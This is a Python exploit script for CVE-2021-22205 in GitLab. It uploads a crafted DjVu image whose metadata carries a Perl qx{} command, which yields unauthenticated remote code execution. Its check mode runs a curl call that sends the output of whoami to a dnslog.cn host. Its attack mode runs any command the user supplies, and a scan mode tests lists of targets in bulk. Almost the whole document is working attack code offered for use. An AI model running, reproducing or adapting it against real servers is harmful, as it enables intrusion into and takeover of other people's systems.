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CVE-2021-22205.py
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CVE-2021-22205.py
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import requests
from bs4 import BeautifulSoup
import base64
import random
import sys
import os
import argparse
requests.packages.urllib3.disable_warnings()
def title():
print("""
______ _______ ____ ___ ____ _ ____ ____ ____ ___ ____
/ ___\ \ / / ____| |___ \ / _ \___ \/ | |___ \|___ \|___ \ / _ \| ___|
| | \ \ / /| _| _____ __) | | | |__) | |_____ __) | __) | __) | | | |___ \
| |___ \ V / | |__|_____/ __/| |_| / __/| |_____/ __/ / __/ / __/| |_| |___) |
\____ | \_/ |_____| |_____|\___/_____|_| |_____|_____|_____|\___/|____/
Author:Al1ex@Heptagram
Update: @carlos.crowsec
Github:https://github.com/carlosevieira
""")
print('''
python CVE-2021-22205.py -v true -t target_url
python CVE-2021-22205.py -a true -t target_url -c command
python CVE-2021-22205.py -s true -f file
''')
def check(target_url):
session = requests.Session()
try:
req1 = session.get(target_url.strip("/") + "/users/sign_in", verify=False)
soup = BeautifulSoup(req1.text, features="lxml")
token = soup.findAll('meta')[16].get("content")
data = "\r\n------WebKitFormBoundaryIMv3mxRg59TkFSX5\r\nContent-Disposition: form-data; name=\"file\"; filename=\"test.jpg\"\r\nContent-Type: image/jpeg\r\n\r\nAT&TFORM\x00\x00\x03\xafDJVMDIRM\x00\x00\x00.\x81\x00\x02\x00\x00\x00F\x00\x00\x00\xac\xff\xff\xde\xbf\x99 !\xc8\x91N\xeb\x0c\x07\x1f\xd2\xda\x88\xe8k\xe6D\x0f,q\x02\xeeI\xd3n\x95\xbd\xa2\xc3\"?FORM\x00\x00\x00^DJVUINFO\x00\x00\x00\n\x00\x08\x00\x08\x18\x00d\x00\x16\x00INCL\x00\x00\x00\x0fshared_anno.iff\x00BG44\x00\x00\x00\x11\x00J\x01\x02\x00\x08\x00\x08\x8a\xe6\xe1\xb17\xd9*\x89\x00BG44\x00\x00\x00\x04\x01\x0f\xf9\x9fBG44\x00\x00\x00\x02\x02\nFORM\x00\x00\x03\x07DJVIANTa\x00\x00\x01P(metadata\n\t(Copyright \"\\\n\" . qx{curl `whoami`.82sm53.dnslog.cn} . \\\n\" b \") ) \n\r\n------WebKitFormBoundaryIMv3mxRg59TkFSX5--\r\n\r\n"
headers = {
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36",
"Connection": "close",
"Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryIMv3mxRg59TkFSX5",
"X-CSRF-Token": f"{token}", "Accept-Encoding": "gzip, deflate"}
flag = 'Failed to process image'
req2 = session.post(target_url.strip("/") + "/uploads/user", data=data, headers=headers, verify=False)
if flag in req2.text:
print("[+] {} is Vulnerable!".format(target_url))
else:
print("[-] {} problem with upload, target has probably been fixed!".format(target_url))
except Exception as e:
print(e)
def attack(target_url,command):
session = requests.Session()
try:
req1 = session.get(target_url.strip("/") + "/users/sign_in", verify=False)
soup = BeautifulSoup(req1.text, features="lxml")
token = soup.findAll('meta')[16].get("content")
data = "\r\n------WebKitFormBoundaryIMv3mxRg59TkFSX5\r\nContent-Disposition: form-data; name=\"file\"; filename=\"test.jpg\"\r\nContent-Type: image/jpeg\r\n\r\nAT&TFORM\x00\x00\x03\xafDJVMDIRM\x00\x00\x00.\x81\x00\x02\x00\x00\x00F\x00\x00\x00\xac\xff\xff\xde\xbf\x99 !\xc8\x91N\xeb\x0c\x07\x1f\xd2\xda\x88\xe8k\xe6D\x0f,q\x02\xeeI\xd3n\x95\xbd\xa2\xc3\"?FORM\x00\x00\x00^DJVUINFO\x00\x00\x00\n\x00\x08\x00\x08\x18\x00d\x00\x16\x00INCL\x00\x00\x00\x0fshared_anno.iff\x00BG44\x00\x00\x00\x11\x00J\x01\x02\x00\x08\x00\x08\x8a\xe6\xe1\xb17\xd9*\x89\x00BG44\x00\x00\x00\x04\x01\x0f\xf9\x9fBG44\x00\x00\x00\x02\x02\nFORM\x00\x00\x03\x07DJVIANTa\x00\x00\x01P(metadata\n\t(Copyright \"\\\n\" . qx{"+ command +"} . \\\n\" b \") ) \n\r\n------WebKitFormBoundaryIMv3mxRg59TkFSX5--\r\n\r\n"
headers = {
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36",
"Connection": "close",
"Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryIMv3mxRg59TkFSX5",
"X-CSRF-Token": f"{token}", "Accept-Encoding": "gzip, deflate"}
flag = 'Failed to process image'
req2 = session.post(target_url.strip("/") + "/uploads/user", data=data, headers=headers, verify=False)
if flag in req2.text:
print("[+] Attack sent, this attack is blind, so see if there is an external interaction (DNS, HTTP...)")
else:
print("[-] target has probably been fixed!")
except Exception as e:
print(e)
def scan(file):
for url_link in open(file, 'r', encoding='utf-8'):
if url_link.strip() != '':
url_path = format_url(url_link.strip())
check(url_path)
def format_url(url):
try:
if url[:4] != "http":
url = "https://" + url
url = url.strip()
return url
except Exception as e:
print('Target URL {0}'.format(url))
def main():
parser = argparse.ArgumentParser(description='GitLab < 13.10.3 RCE')
parser.add_argument('-v', '--verify', type=bool,help=' Just check if the target is vulnerable ')
parser.add_argument('-t', '--target', type=str, help=' Target URL ')
parser.add_argument('-a', '--attack', type=bool, help=' Start Attack ')
parser.add_argument('-c', '--command', type=str, help=' This attack is blind, soo send some external interaction (DNS,HTTP...) ')
parser.add_argument('-s', '--scan', type=bool, help=' Scan target list ')
parser.add_argument('-f', '--file', type=str, help=' Set target list from file ')
args = parser.parse_args()
verify_model = args.verify
target_url = args.target
attack_model = args.attack
command = args.command
scan_model = args.scan
file = args.file
if verify_model is True and target_url !=None:
check(target_url)
elif attack_model is True and target_url != None and command != None:
attack(target_url,command)
elif scan_model is True and file != None:
scan(file)
else:
sys.exit(0)
if __name__ == '__main__':
title()
main()